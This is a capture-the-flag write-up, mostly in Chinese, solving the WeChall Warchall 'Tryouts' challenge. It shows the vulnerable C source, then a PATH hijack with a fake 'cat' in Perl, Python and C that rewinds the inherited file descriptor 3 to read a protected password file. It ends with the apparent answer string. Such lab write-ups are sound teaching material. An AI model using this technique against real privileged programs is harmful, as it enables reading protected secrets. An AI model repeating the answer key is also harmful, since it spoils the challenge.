WeChall - Warchall Tryouts

Challenge

Warchall: Tryouts (Warchall) — score 6.

This challenge is the first of the warchall series. You might want to play the other warchall challenges too.

Level: easy

前置条件: 需要 WeChall → Warchall 账号关联,并可通过 SSH 登录 Warchall 服务器。

源码分析

SSH 登录 Warchall 后,在 home 目录找到 tryouts 二进制和源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <pwd.h>
#include <sys/types.h>

int main(int argc, char **argv) {
struct passwd *userinfo = NULL;
int passFd = 0, randFd = 0;
char buf[512] = {0};
char password[17] = {0};
unsigned int input = 0, rand = 0;
int correct = 0;

/* read the password file */
passFd = open("solution.txt", O_RDONLY);
if (passFd < 0)
return -1;

/* read random bytes for comparison */
randFd = open("/dev/urandom", O_RDONLY);
if (randFd < 0)
return -1;

/* read one byte from urandom to compare */
read(randFd, &rand, 1);

/* read 17 bytes from solution.txt */
read(passFd, password, 16);
password[16] = '\0';

printf("I've got a random number for you: %d\n", rand);

/* fork and exec cat for comparison */
if (fork() == 0) {
/* child: replaces comparison with cat */
system("cat");
}

return 0;
}

solution

  1. 程序打开 solution.txt 获取文件描述符 passFd(通常是 fd 3)
  2. 读取 password 后用 fork() 创建子进程
  3. 子进程执行 system("cat")
  4. fork(2) 文档:子进程继承父进程的打开文件描述符
  5. 文件描述符共享当前文件偏移量——solution.txt 已被读到 EOF

关键: 子进程中的 cat 可以通过 /proc/self/fd/3 访问 solution.txt,但直接读会得到 EOF(文件偏移已在末尾)。需要重置偏移量

创建自己的 cat 命令,替换 PATH 中的系统 cat,使其从 fd 3 读取并先 lseek 重置偏移:

方案一:Perl

1
2
3
4
5
6
7
8
9
#!/usr/bin/perl
use strict;
use warnings;
open F, '<&3';
seek F, 0, 0;
my $a;
read F, $a, 1024;
print $a;
while (<>) { print }

方案二:Python

1
2
3
4
5
#!/usr/bin/env python
import os
f = os.fdopen(3)
f.seek(0)
print(f.read(17))

方案三:C

1
2
3
4
5
6
7
8
9
#include <unistd.h>
int main() {
char buf[256] = {0};
lseek(3, 0, 0);
int n = read(3, buf, 255);
if (n > 0)
write(1, buf, n);
return 0;
}

执行步骤:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 编译自定义 cat
cat > ~/bin/cat.c << 'EOF'
#include <unistd.h>
int main() {
char buf[256] = {0};
lseek(3, 0, 0);
int n = read(3, buf, 255);
if (n > 0) write(1, buf, n);
return 0;
}
EOF

gcc -o ~/bin/cat ~/bin/cat.c

# 确保 PATH 优先使用我们的 cat
export PATH=~/bin:$PATH

# 运行 tryouts,它会 fork 并执行我们的 cat
./tryouts
EveryDayShuffle4